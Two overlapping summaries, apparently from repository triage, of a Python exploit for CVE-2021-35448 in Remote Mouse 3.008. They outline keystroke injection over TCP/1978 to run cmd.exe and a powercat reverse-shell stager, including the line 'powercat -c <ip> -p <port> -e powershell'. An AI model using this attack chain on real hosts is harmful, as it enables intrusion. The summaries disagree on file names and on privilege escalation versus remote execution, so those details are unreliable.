Privilege Escalation in Emote Interactive Remote Mouse 3.008

This repository contains a working Python exploit for CVE-2021-35448 against the Remote Mouse / WiFi Mouse application, plus a bundled copy of powercat.ps1 used as a post-exploitation reverse-shell payload. The main entry point is RemoteMouse-3.008-RCE.py. It connects to the target over TCP/1978, abuses the Remote Mouse protocol to open cmd.exe on the victim, then simulates keystrokes to type and execute either an arbitrary command or a generated PowerShell one-liner. In reverse-shell mode, the script starts a local HTTP server and serves powercat.ps1 so the victim can download it with System.Net.WebClient and call back to the attacker using powercat -c <ip> -p <port> -e powershell. The exploit is operational rather than just a PoC because it includes a usable payload path and automation for staging the reverse shell. Repository structure is minimal: README.md documents usage and prerequisites, RemoteMouse-3.008-RCE.py performs exploitation and staging, and powercat.ps1 provides the reverse-shell/network utility functionality. No detection logic is present; the repository is clearly intended for exploitation and command execution on vulnerable Windows hosts running the Remote Mouse service.

Repository contains a small standalone Python exploit and a bundled PowerShell helper payload. The main file, CVE-2021-35448.py, targets CVE-2021-35448 in Remote Mouse / WiFi Mouse by connecting to the target over TCP/1978 and sending protocol-specific hex-encoded keystroke packets. The exploit first issues an 'openfile' command for /C/Windows/System32/cmd.exe, then types either an operator-supplied command or a generated PowerShell stager, and finally sends an Enter key event to execute it. This provides remote command execution via simulated keyboard input. The script supports two modes: direct command execution with -p, and reverse-shell staging with -r plus -l. In reverse mode it starts a local Python HTTP server using SimpleHTTPRequestHandler, serves powercat.ps1, and generates a PowerShell one-liner that downloads the script with System.Net.WebClient.DownloadString and invokes powercat to connect back to the attacker with a PowerShell shell. That makes the exploit operational rather than a simple PoC. Repository structure is minimal: README.md documents usage and prerequisites; CVE-2021-35448.py is the actual exploit entry point; powercat.ps1 is a third-party post-exploitation utility used only for reverse-shell delivery. The bundled powercat script is not the vulnerability trigger itself, but it materially extends capability by providing a reusable reverse shell and other networking features. Overall purpose: exploit unauthenticated Remote Mouse command injection/RCE on Windows systems and optionally establish an interactive reverse shell.